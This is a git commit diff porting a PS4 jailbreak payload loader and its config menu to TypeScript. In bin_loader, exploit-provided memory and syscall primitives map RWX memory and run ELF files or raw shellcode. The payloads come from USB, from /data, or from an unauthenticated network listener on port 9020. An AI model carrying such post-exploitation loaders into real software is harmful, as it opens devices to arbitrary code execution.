feat: ts port... again

This commit is contained in:
Helloyunho
2026-01-25 05:20:43 +09:00
parent 660282a7a4
commit 665cbc2223
29 changed files with 7134 additions and 7798 deletions
+21
View File
@@ -0,0 +1,21 @@
{
"presets": [
[
"@babel/preset-env",
{
"targets": {
"safari": "10",
"esmodules": false
},
"useBuiltIns": "usage",
"corejs": "3.6.5",
"modules": false
}
],
["@babel/preset-typescript"]
],
"plugins": [
["./module-remover/index.js"]
],
"ignore": ["./src/download0/vid"]
}
+1
View File
@@ -37,6 +37,7 @@ export default defineConfig([
'no-fallthrough': 'off',
'no-new-native-nonconstructor': 'off', // we use our own BigInt
'no-extend-native': 'off', // we extend native for better usage
'no-new': 'off',
// TS duplicates
'@typescript-eslint/no-unused-vars': 'off',
+29
View File
@@ -0,0 +1,29 @@
export default function () {
return {
name: 'module-remover',
visitor: {
ImportDeclaration (
path
) {
path.remove()
},
ExportNamedDeclaration (
path
) {
const { declaration, specifiers } = path.node
if (declaration) {
path.replaceWith(declaration)
} else if (specifiers.length > 0) {
path.remove()
}
},
ExportDefaultDeclaration (
path
) {
const { declaration } = path.node
path.replaceWith(declaration)
}
},
}
}
+9
View File
@@ -3,10 +3,19 @@
"module": "index.ts",
"type": "module",
"private": true,
"scripts": {
"build": "babel --extensions \".ts\" src --out-dir dist",
"lint": "eslint . --ext .ts,.js",
"lint:fix": "eslint . --ext .ts,.js --fix"
},
"peerDependencies": {
"typescript": "^5"
},
"devDependencies": {
"@babel/cli": "^7.28.3",
"@babel/core": "^7.28.5",
"@babel/preset-env": "^7.28.5",
"@babel/preset-typescript": "^7.28.5",
"@eslint/js": "^9.39.2",
"eslint": "^9.39.2",
"globals": "^16.5.0",
@@ -1,3 +1,7 @@
import { fn, BigInt, mem, utils } from 'download0/types'
import { libc_addr } from 'download0/userland'
import { show_success } from 'download0/loader'
// bin_loader.js - ELF/binary loader for PS4 after vue-after-free jailbreak
// Ported from netflix N Hack for ps4
//
@@ -5,7 +9,7 @@
// After lapse completes, call: binloader_init()
// Define binloader_init function
binloader_init = function () {
export function binloader_init () {
log('binloader_init(): Initializing binloader...')
// Check dependencies
@@ -17,69 +21,55 @@ binloader_init = function () {
log('binloader_init(): Dependencies OK, initializing...')
// thrd_create and thrd_join offsets in libc
var THRD_CREATE_OFFSET = 0x555A0
var THRD_JOIN_OFFSET = 0x55410
const THRD_CREATE_OFFSET = 0x555A0
const THRD_JOIN_OFFSET = 0x55410
// Register thrd_create and thrd_join from libc
var thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
var thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
const thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
const thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
fn.register(thrd_create_addr, 'thrd_create', 'bigint')
fn.register(thrd_join_addr, 'thrd_join', 'bigint')
fn.register(thrd_create_addr, 'thrd_create', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(thrd_join_addr, 'thrd_join', ['bigint', 'bigint'], 'bigint')
var thrd_create = fn.thrd_create
var thrd_join = fn.thrd_join
const thrd_create = fn.thrd_create
const thrd_join = fn.thrd_join
log('thrd_create @ ' + thrd_create_addr.toString())
log('thrd_join @ ' + thrd_join_addr.toString())
// Register syscalls needed for binloader
var stat_sys, open_sys, read_sys, write_sys, close_sys, mmap_sys, bind_sys, listen_sys, accept_sys
fn.register(0xBC, 'stat_sys', ['bigint', 'bigint'], 'bigint')
const stat_sys = fn.stat_sys
if (typeof fn.stat_sys === 'undefined') {
fn.register(0xBC, 'stat_sys', 'bigint')
}
stat_sys = fn.stat_sys
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
const open_sys = fn.open_sys
if (typeof fn.open_sys === 'undefined') {
fn.register(0x05, 'open_sys', 'bigint')
}
open_sys = fn.open_sys
fn.register(0x03, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
const read_sys = fn.read_sys
if (typeof fn.read_sys === 'undefined') {
fn.register(0x03, 'read_sys', 'bigint')
}
read_sys = fn.read_sys
fn.register(0x04, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
const write_sys = fn.write_sys
if (typeof fn.write_sys === 'undefined') {
fn.register(0x04, 'write_sys', 'bigint')
}
write_sys = fn.write_sys
fn.register(0x06, 'close_sys', ['number'], 'bigint')
const close_sys = fn.close_sys
if (typeof fn.close_sys === 'undefined') {
fn.register(0x06, 'close_sys', 'bigint')
}
close_sys = fn.close_sys
fn.register(0x1DD, 'mmap_sys', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
const mmap_sys = fn.mmap_sys
if (typeof fn.mmap_sys === 'undefined') {
fn.register(0x1DD, 'mmap_sys', 'bigint')
}
mmap_sys = fn.mmap_sys
fn.register(0x68, 'bind_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
const bind_sys = fn.bind_sys
if (typeof fn.bind_sys === 'undefined') {
fn.register(0x68, 'bind_sys', 'bigint')
}
bind_sys = fn.bind_sys
fn.register(0x6A, 'listen_sys', ['bigint', 'bigint'], 'bigint')
const listen_sys = fn.listen_sys
if (typeof fn.listen_sys === 'undefined') {
fn.register(0x6A, 'listen_sys', 'bigint')
}
listen_sys = fn.listen_sys
fn.register(0x1E, 'accept_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
const accept_sys = fn.accept_sys
if (typeof fn.accept_sys === 'undefined') {
fn.register(0x1E, 'accept_sys', 'bigint')
}
accept_sys = fn.accept_sys
fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint')
const socket = fn.socket
fn.register(0x69, 'setsockopt', ['number', 'number', 'number', 'bigint', 'number'], 'bigint')
const setsockopt = fn.setsockopt
// Constants
const BIN_LOADER_PORT = 9020
@@ -104,11 +94,11 @@ binloader_init = function () {
const BL_SO_REUSEADDR = 4
// File open flags
var BL_O_RDONLY = 0
var BL_O_WRONLY = 1
var BL_O_RDWR = 2
var BL_O_CREAT = 0x200
var BL_O_TRUNC = 0x400
const BL_O_RDONLY = 0
const BL_O_WRONLY = 1
const BL_O_RDWR = 2
const BL_O_CREAT = 0x200
const BL_O_TRUNC = 0x400
// USB and data paths (check usb0-usb4 like BD-JB does)
const USB_PAYLOAD_PATHS = [
@@ -144,12 +134,12 @@ binloader_init = function () {
const PT_LOAD = 1
// Helper: Round up to page boundary
function bl_round_up (x, base) {
function bl_round_up (x: number, base: number) {
return Math.floor((x + base - 1) / base) * base
}
// Helper: Check for syscall error
function bl_is_error (val) {
function bl_is_error (val: number | BigInt) {
if (val instanceof BigInt) {
return val.hi === 0xffffffff
}
@@ -157,9 +147,9 @@ binloader_init = function () {
}
// Helper: Allocate string in memory and return address
function bl_alloc_string (str) {
var addr = mem.malloc(str.length + 1)
for (var i = 0; i < str.length; i++) {
function bl_alloc_string (str: string) {
const addr = mem.malloc(str.length + 1)
for (let i = 0; i < str.length; i++) {
mem.view(addr).setUint8(i, str.charCodeAt(i))
}
mem.view(addr).setUint8(str.length, 0) // null terminator
@@ -167,14 +157,14 @@ binloader_init = function () {
}
// Helper: Check if file exists using stat() and return size, or -1 if not found
function bl_file_exists (path) {
function bl_file_exists (path: string) {
log('Checking: ' + path)
var path_addr = bl_alloc_string(path)
var stat_buf = mem.malloc(0x78)
const path_addr = bl_alloc_string(path)
const stat_buf = mem.malloc(0x78)
// Call stat(path, &stat_buf) - catch errors (file not found)
try {
var ret = stat_sys(path_addr, stat_buf)
const ret = stat_sys(path_addr, stat_buf)
if (bl_is_error(ret)) {
log(' stat() failed - file not found')
@@ -182,7 +172,7 @@ binloader_init = function () {
}
// Check st_mode at offset 0x08 to see if it's a regular file
var st_mode = mem.view(stat_buf).getUint16(0x08, true)
const st_mode = mem.view(stat_buf).getUint16(0x08, true)
// Check S_ISREG (mode & 0xF000) == S_IFREG (0x8000)
if ((st_mode & 0xF000) !== S_IFREG) {
@@ -191,30 +181,30 @@ binloader_init = function () {
}
// st_size is at offset 0x48 in struct stat (int64_t)
var size = mem.view(stat_buf).getBigInt(0x48, true)
var size_num = size.lo + (size.hi * 0x100000000)
const size = mem.view(stat_buf).getBigInt(0x48, true)
const size_num = size.lo + (size.hi * 0x100000000)
log(' Found: ' + size_num + ' bytes')
return size_num
} catch (e) {
log(' ' + e.message)
log(' ' + (e as Error).message)
return -1
}
}
// Get file size using stat()
function bl_get_file_size_stat (path) {
var path_addr = bl_alloc_string(path)
var stat_buf = mem.malloc(0x78)
function bl_get_file_size_stat (path: string) {
const path_addr = bl_alloc_string(path)
const stat_buf = mem.malloc(0x78)
try {
var ret = stat_sys(path_addr, stat_buf)
const ret = stat_sys(path_addr, stat_buf)
if (bl_is_error(ret)) {
return -1
}
// st_size is at offset 0x48
var size = mem.view(stat_buf).getBigInt(0x48, true)
const size = mem.view(stat_buf).getBigInt(0x48, true)
return size.lo + (size.hi * 0x100000000)
} catch (e) {
return -1
@@ -222,29 +212,29 @@ binloader_init = function () {
}
// Read entire file into memory buffer
function bl_read_file (path) {
function bl_read_file (path: string) {
// Use stat() to get file size
var size = bl_get_file_size_stat(path)
const size = bl_get_file_size_stat(path)
if (size <= 0) {
log(' stat failed or size=0')
return null
}
var path_addr = bl_alloc_string(path)
var fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
const path_addr = bl_alloc_string(path)
const fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
if (bl_is_error(fd)) {
log(' open failed')
return null
}
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
var buf = mem.malloc(size)
var total_read = 0
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
const buf = mem.malloc(size)
let total_read = 0
while (total_read < size) {
var chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
var bytes_read = read_sys(
const chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
const bytes_read = read_sys(
new BigInt(0, fd_num),
buf.add(new BigInt(0, total_read)),
new BigInt(0, chunk)
@@ -267,13 +257,13 @@ binloader_init = function () {
}
// Write buffer to file
function bl_write_file (path, buf, size) {
var path_addr = bl_alloc_string(path)
var flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
function bl_write_file (path: string, buf: BigInt, size: number) {
const path_addr = bl_alloc_string(path)
const flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
log(' write_file: open(' + path + ', flags=0x' + flags.toString(16) + ')')
var fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
const fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
log(' write_file: fd=' + fd_num)
if (bl_is_error(fd)) {
@@ -281,10 +271,10 @@ binloader_init = function () {
return false
}
var total_written = 0
let total_written = 0
while (total_written < size) {
var chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
var bytes_written = write_sys(
const chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
const bytes_written = write_sys(
new BigInt(0, fd_num),
buf.add(new BigInt(0, total_written)),
new BigInt(0, chunk)
@@ -304,10 +294,10 @@ binloader_init = function () {
}
// Copy file from src to dst
function bl_copy_file (src_path, dst_path) {
function bl_copy_file (src_path: string, dst_path: string) {
log('Copying ' + src_path + ' -> ' + dst_path)
var data = bl_read_file(src_path)
const data = bl_read_file(src_path)
if (data === null) {
log('Failed to read source file')
return false
@@ -325,7 +315,7 @@ binloader_init = function () {
}
// Read ELF header from buffer
function bl_read_elf_header (buf_addr) {
function bl_read_elf_header (buf_addr: BigInt) {
return {
magic: mem.view(buf_addr).getUint32(0, true),
e_entry: mem.view(buf_addr).getBigInt(ELF_HEADER.E_ENTRY, true),
@@ -336,8 +326,8 @@ binloader_init = function () {
}
// Read program header from buffer
function bl_read_program_header (buf_addr, offset) {
var base = buf_addr.add(new BigInt(0, offset))
function bl_read_program_header (buf_addr: BigInt, offset: number) {
const base = buf_addr.add(new BigInt(0, offset))
return {
p_type: mem.view(base).getUint32(PROGRAM_HEADER.P_TYPE, true),
p_flags: mem.view(base).getUint32(PROGRAM_HEADER.P_FLAGS, true),
@@ -349,34 +339,34 @@ binloader_init = function () {
}
// Load ELF segments into mmap'd memory
function bl_load_elf_segments (buf_addr, base_addr) {
var elf = bl_read_elf_header(buf_addr)
function bl_load_elf_segments (buf_addr: BigInt, base_addr: BigInt) {
const elf = bl_read_elf_header(buf_addr)
log('ELF: ' + elf.e_phnum + ' segments, entry @ ' + elf.e_entry.toString())
for (var i = 0; i < elf.e_phnum; i++) {
var phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
var segment = bl_read_program_header(buf_addr, phdr_offset)
for (let i = 0; i < elf.e_phnum; i++) {
const phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
const segment = bl_read_program_header(buf_addr, phdr_offset)
if (segment.p_type === PT_LOAD && !segment.p_memsz.eq(0)) {
// Use lower 24 bits of vaddr to get offset within region
var seg_offset_num = segment.p_vaddr.lo & 0xffffff
var seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
const seg_offset_num = segment.p_vaddr.lo & 0xffffff
const seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
// Copy segment data
var filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
var src_addr = buf_addr.add(segment.p_offset)
const filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
const src_addr = buf_addr.add(segment.p_offset)
// Copy using mem API
for (var j = 0; j < filesz; j++) {
var byte = mem.view(src_addr).getUint8(j)
for (let j = 0; j < filesz; j++) {
const byte = mem.view(src_addr).getUint8(j)
mem.view(seg_addr).setUint8(j, byte)
}
// Zero remaining memory (memsz - filesz)
var memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
const memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
if (memsz > filesz) {
for (var j = filesz; j < memsz; j++) {
for (let j = filesz; j < memsz; j++) {
mem.view(seg_addr).setUint8(j, 0)
}
}
@@ -384,149 +374,160 @@ binloader_init = function () {
}
// Return entry point address
var entry_offset = elf.e_entry.lo & 0xffffff
const entry_offset = elf.e_entry.lo & 0xffffff
return base_addr.add(new BigInt(0, entry_offset))
}
// BinLoader object
var BinLoader = {
const BinLoader: {
data: BigInt | null,
data_size: number,
mmap_base: BigInt | null,
mmap_size: number,
entry_point: BigInt | null,
skip_autoclose: boolean,
init: (bin_data_addr: BigInt, bin_size: number) => void,
run: () => void
} = {
data: null,
data_size: 0,
mmap_base: null,
mmap_size: 0,
entry_point: null,
skip_autoclose: false,
}
init: function (bin_data_addr, bin_size) {
this.data = bin_data_addr
this.data_size = bin_size
BinLoader.init = function (bin_data_addr, bin_size) {
BinLoader.data = bin_data_addr
BinLoader.data_size = bin_size
// Calculate mmap size (round up to page boundary)
this.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
// Calculate mmap size (round up to page boundary)
BinLoader.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
// Allocate RWX memory using mmap
const prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
const flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
// Allocate RWX memory using mmap
var prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
var flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
const ret = mmap_sys(
new BigInt(0, 0),
new BigInt(0, this.mmap_size),
prot,
flags,
new BigInt(0xffffffff, 0xffffffff), // fd = -1
new BigInt(0, 0)
)
var ret = mmap_sys(
new BigInt(0, 0),
new BigInt(0, BinLoader.mmap_size),
prot,
flags,
new BigInt(0xffffffff, 0xffffffff), // fd = -1
new BigInt(0, 0)
)
if (bl_is_error(ret)) {
throw new Error('mmap failed: ' + ret.toString())
}
BinLoader.mmap_base = ret
log('mmap() allocated at: ' + BinLoader.mmap_base.toString())
// Check for ELF magic
var magic = mem.view(bin_data_addr).getUint32(0, true)
if (magic === ELF_MAGIC) {
log('Detected ELF binary, parsing headers...')
BinLoader.entry_point = bl_load_elf_segments(bin_data_addr, BinLoader.mmap_base)
} else {
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
// Copy raw binary
for (var i = 0; i < bin_size; i++) {
var byte = mem.view(bin_data_addr).getUint8(i)
mem.view(BinLoader.mmap_base).setUint8(i, byte)
if (bl_is_error(ret)) {
throw new Error('mmap failed: ' + ret.toString())
}
BinLoader.entry_point = BinLoader.mmap_base
}
log('Entry point: ' + BinLoader.entry_point.toString())
}
this.mmap_base = ret
log('mmap() allocated at: ' + this.mmap_base.toString())
BinLoader.run = function () {
log('Spawning payload thread using thrd_create...')
// Check for ELF magic
const magic = mem.view(bin_data_addr).getUint32(0, true)
// Allocate thread handle and result storage
var thread_handle = mem.malloc(8) // thrd_t handle
var thread_result = mem.malloc(4) // int result
// Initialize to 0
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
mem.view(thread_result).setUint32(0, 0, true)
log('Entry point @ ' + BinLoader.entry_point.toString())
// Call thrd_create(thread_handle, entry_point, NULL)
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
log('Calling thrd_create...')
var ret = thrd_create(
thread_handle, // thrd_t *thr
BinLoader.entry_point, // thrd_start_t func
new BigInt(0, 0) // void *arg (NULL)
)
// thrd_success = 0
if (ret.eq(0)) {
log('SUCCESS: Payload thread created!')
var thr_id = mem.view(thread_handle).getBigInt(0, true)
log('Thread handle: ' + thr_id.toString())
// utils.notify("Payload loaded!\nThread spawned successfully");
// Check if autoclose is enabled
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
log('CONFIG.autoclose enabled - terminating current process')
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
var pid = fn.getpid()
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
log('Current PID: ' + pid_num)
log('Sending SIGKILL to PID ' + pid_num)
fn.kill(pid, new BigInt(0, 9))
if (magic === ELF_MAGIC) {
log('Detected ELF binary, parsing headers...')
this.entry_point = bl_load_elf_segments(bin_data_addr, this.mmap_base)
} else {
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
// Copy raw binary
for (let i = 0; i < bin_size; i++) {
const byte = mem.view(bin_data_addr).getUint8(i)
mem.view(this.mmap_base).setUint8(i, byte)
}
this.entry_point = this.mmap_base
}
log('Entry point: ' + this.entry_point.toString())
},
run: function () {
if (this.entry_point === null) {
throw new Error('BinLoader not initialized properly - no entry point')
}
log('Spawning payload thread using thrd_create...')
// Allocate thread handle and result storage
const thread_handle = mem.malloc(8) // thrd_t handle
const thread_result = mem.malloc(4) // int result
// Initialize to 0
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
mem.view(thread_result).setUint32(0, 0, true)
log('Entry point @ ' + this.entry_point.toString())
// Call thrd_create(thread_handle, entry_point, NULL)
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
log('Calling thrd_create...')
const ret = thrd_create(
thread_handle, // thrd_t *thr
this.entry_point, // thrd_start_t func
new BigInt(0, 0) // void *arg (NULL)
)
// thrd_success = 0
if (ret.eq(0)) {
log('SUCCESS: Payload thread created!')
const thr_id = mem.view(thread_handle).getBigInt(0, true)
log('Thread handle: ' + thr_id.toString())
// utils.notify("Payload loaded!\nThread spawned successfully");
// Check if autoclose is enabled
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
log('CONFIG.autoclose enabled - terminating current process')
fn.register(0x14, 'getpid', [], 'bigint')
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
const pid = fn.getpid()
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
log('Current PID: ' + pid_num)
log('Sending SIGKILL to PID ' + pid_num)
fn.kill(pid, new BigInt(0, 9))
} else {
// Call thrd_join to wait for thread completion
// int thrd_join(thrd_t thr, int *res);
log('Waiting for thread to complete (thrd_join)...')
var join_ret = thrd_join(
thr_id, // thrd_t thr
thread_result // int *res
)
log('Waiting for thread to complete (thrd_join)...')
const join_ret = thrd_join(
thr_id, // thrd_t thr
thread_result // int *res
)
if (join_ret.eq(0)) {
var result_val = mem.view(thread_result).getUint32(0, true)
log('Thread completed successfully with result: ' + result_val)
} else {
log('WARNING: thrd_join returned: ' + join_ret.toString())
if (join_ret.eq(0)) {
const result_val = mem.view(thread_result).getUint32(0, true)
log('Thread completed successfully with result: ' + result_val)
} else {
log('WARNING: thrd_join returned: ' + join_ret.toString())
}
log('Binloader complete - thread has finished')
}
log('Binloader complete - thread has finished')
} else {
log('ERROR: thrd_create failed with return value: ' + ret.toString())
throw new Error('Failed to spawn payload thread')
}
} else {
log('ERROR: thrd_create failed with return value: ' + ret.toString())
throw new Error('Failed to spawn payload thread')
}
}
// Create listening socket
function bl_create_listen_socket (port) {
var sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
var sd_num = (sd instanceof BigInt) ? sd.lo : sd
function bl_create_listen_socket (port: number) {
const sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
const sd_num = (sd instanceof BigInt) ? sd.lo : sd
if (bl_is_error(sd)) {
throw new Error('socket() failed')
}
// Set SO_REUSEADDR
var enable = mem.malloc(4)
const enable = mem.malloc(4)
mem.view(enable).setUint32(0, 1, true)
setsockopt(sd_num, BL_SOL_SOCKET, BL_SO_REUSEADDR, enable, 4)
// Build sockaddr_in
var sockaddr = mem.malloc(16)
for (var j = 0; j < 16; j++) {
const sockaddr = mem.malloc(16)
for (let j = 0; j < 16; j++) {
mem.view(sockaddr).setUint8(j, 0)
}
mem.view(sockaddr).setUint8(1, 2) // AF_INET
@@ -534,7 +535,7 @@ binloader_init = function () {
mem.view(sockaddr).setUint8(3, port & 0xff) // port low byte
mem.view(sockaddr).setUint32(4, 0, true) // INADDR_ANY
var ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
let ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
if (bl_is_error(ret)) {
close_sys(sd_num)
throw new Error('bind() failed')
@@ -550,15 +551,15 @@ binloader_init = function () {
}
// Read payload data from client socket
function bl_read_payload_from_socket (client_sock, max_size) {
var payload_buf = mem.malloc(max_size)
var total_read = 0
function bl_read_payload_from_socket (client_sock: number, max_size: number) {
const payload_buf = mem.malloc(max_size)
let total_read = 0
while (total_read < max_size) {
var remaining = max_size - total_read
var chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
const remaining = max_size - total_read
const chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
var read_size = read_sys(
const read_size = read_sys(
new BigInt(0, client_sock),
payload_buf.add(new BigInt(0, total_read)),
new BigInt(0, chunk_size)
@@ -584,10 +585,10 @@ binloader_init = function () {
}
// Load and run payload from file
bl_load_from_file = function (path, skip_autoclose) {
function bl_load_from_file (path: string, skip_autoclose: boolean = true) {
log('Loading payload from: ' + path)
var payload = bl_read_file(path)
const payload = bl_read_file(path)
if (payload === null) {
log('Failed to read payload file')
return false
@@ -600,19 +601,15 @@ binloader_init = function () {
return false
}
if (skip_autoclose === false) {
BinLoader.skip_autoclose = false
} else {
BinLoader.skip_autoclose = true
}
BinLoader.skip_autoclose = skip_autoclose
try {
BinLoader.init(payload.buf, payload.size)
BinLoader.run()
log('Payload loaded successfully')
} catch (e) {
log('ERROR loading payload: ' + e.message)
if (e.stack) log(e.stack)
log('ERROR loading payload: ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack ?? '')
return false
}
@@ -620,30 +617,30 @@ binloader_init = function () {
}
// Network binloader (fallback)
bl_network_loader = function () {
function bl_network_loader () {
log('Starting network payload server...')
var server_sock
let server_sock
try {
server_sock = bl_create_listen_socket(BIN_LOADER_PORT)
} catch (e) {
log('ERROR: ' + e.message)
utils.notify('Bin loader failed!\n' + e.message)
log('ERROR: ' + (e as Error).message)
utils.notify('Bin loader failed!\n' + (e as Error).message)
return false
}
var network_str = '<PS4 IP>:' + BIN_LOADER_PORT
const network_str = '<PS4 IP>:' + BIN_LOADER_PORT
log('Listening on ' + network_str)
log('Send your ELF payload to this address')
utils.notify('Binloader listening on:\n' + network_str)
// Accept client connection
var sockaddr = mem.malloc(16)
var sockaddr_len = mem.malloc(4)
const sockaddr = mem.malloc(16)
const sockaddr_len = mem.malloc(4)
mem.view(sockaddr_len).setUint32(0, 16, true)
var client_sock = accept_sys(
const client_sock = accept_sys(
new BigInt(0, server_sock),
sockaddr,
sockaddr_len
@@ -655,14 +652,14 @@ binloader_init = function () {
return false
}
var client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
const client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
log('Client connected')
var payload
let payload
try {
payload = bl_read_payload_from_socket(client_sock_num, MAX_PAYLOAD_SIZE)
} catch (e) {
log('ERROR reading payload: ' + e.message)
log('ERROR reading payload: ' + (e as Error).message)
close_sys(client_sock_num)
close_sys(server_sock)
return false
@@ -686,8 +683,8 @@ binloader_init = function () {
log('Payload loaded successfully')
show_success()
} catch (e) {
log('ERROR loading payload: ' + e.message)
if (e.stack) log(e.stack)
log('ERROR loading payload: ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack ?? '')
return false
}
@@ -698,20 +695,20 @@ binloader_init = function () {
function bin_loader_main () {
log('=== PS4 Payload Loader ===')
for (var i = 0; i < payloads.length; i++) {
var payload = payloads[i]
log('Loading payload: ' + payload)
if (bl_file_exists(payload)) {
bl_load_from_file(payload, true)
} else {
log(payload + ' not found!')
if (typeof payloads !== 'undefined') {
for (const payload of payloads) {
log('Loading payload: ' + payload)
if (bl_file_exists(payload)) {
bl_load_from_file(payload, true)
} else {
log(payload + ' not found!')
}
}
}
// Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does)
for (var i = 0; i < USB_PAYLOAD_PATHS.length; i++) {
var usb_path = USB_PAYLOAD_PATHS[i]
var usb_size = bl_file_exists(usb_path)
for (const usb_path of USB_PAYLOAD_PATHS) {
const usb_size = bl_file_exists(usb_path)
if (usb_size > 0) {
log('Found USB payload: ' + usb_path + ' (' + usb_size + ' bytes)')
@@ -730,7 +727,7 @@ binloader_init = function () {
}
// Priority 2: Check for cached /data payload
var data_size = bl_file_exists(DATA_PAYLOAD_PATH)
const data_size = bl_file_exists(DATA_PAYLOAD_PATH)
if (data_size > 0) {
log('Found cached payload: ' + DATA_PAYLOAD_PATH + ' (' + data_size + ' bytes)')
return bl_load_from_file(DATA_PAYLOAD_PATH, false)
@@ -750,6 +747,11 @@ binloader_init = function () {
} else {
bl_load_from_file('/download0/payloads/elfldr.elf')
}
return {
bl_load_from_file,
bl_network_loader
}
}
// Verify function is defined
@@ -1,9 +1,9 @@
var CONFIG = {
export const CONFIG = {
autolapse: false,
autopoop: false,
autoclose: false
}
var payloads = [ // to be ran after jailbroken
export const payloads = [ // to be ran after jailbroken
'/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf'
]
@@ -1,3 +1,7 @@
import { libc_addr } from 'download0/userland'
import { stats } from 'download0/stats-tracker'
import { lang } from 'download0/languages'
if (typeof libc_addr === 'undefined') {
include('userland.js')
}
@@ -9,9 +13,9 @@ if (typeof lang === 'undefined') {
(function () {
log(lang.loadingConfig)
var fs = {
write: function (filename, content, callback) {
var xhr = new jsmaf.XMLHttpRequest()
const fs = {
write: function (filename: string, content: string, callback: (error: Error | null) => void) {
const xhr = new jsmaf.XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && callback) {
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'))
@@ -21,8 +25,8 @@ if (typeof lang === 'undefined') {
xhr.send(content)
},
read: function (filename, callback) {
var xhr = new jsmaf.XMLHttpRequest()
read: function (filename: string, callback: (error: Error | null, data?: string) => void) {
const xhr = new jsmaf.XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && callback) {
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'), xhr.responseText)
@@ -33,29 +37,29 @@ if (typeof lang === 'undefined') {
}
}
var currentConfig = {
const currentConfig = {
autolapse: false,
autopoop: false,
autoclose: false
}
var currentButton = 0
var buttons = []
var buttonTexts = []
var buttonMarkers = []
var buttonOrigPos = []
var textOrigPos = []
var valueTexts = []
let currentButton = 0
const buttons: Image[] = []
const buttonTexts: jsmaf.Text[] = []
const buttonMarkers: (Image | null)[] = []
const buttonOrigPos: { x: number; y: number }[] = []
const textOrigPos: { x: number; y: number }[] = []
const valueTexts: Image[] = []
var normalButtonImg = 'file:///assets/img/button_over_9.png'
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
const normalButtonImg = 'file:///assets/img/button_over_9.png'
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
jsmaf.root.children.length = 0
new Style({name: 'white', color: 'white', size: 24})
new Style({name: 'title', color: 'white', size: 32})
new Style({ name: 'white', color: 'white', size: 24 })
new Style({ name: 'title', color: 'white', size: 32 })
var background = new Image({
const background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
y: 0,
@@ -64,7 +68,7 @@ if (typeof lang === 'undefined') {
})
jsmaf.root.children.push(background)
var logo = new Image({
const logo = new Image({
url: 'file:///../download0/img/logo.png',
x: 1620,
y: 0,
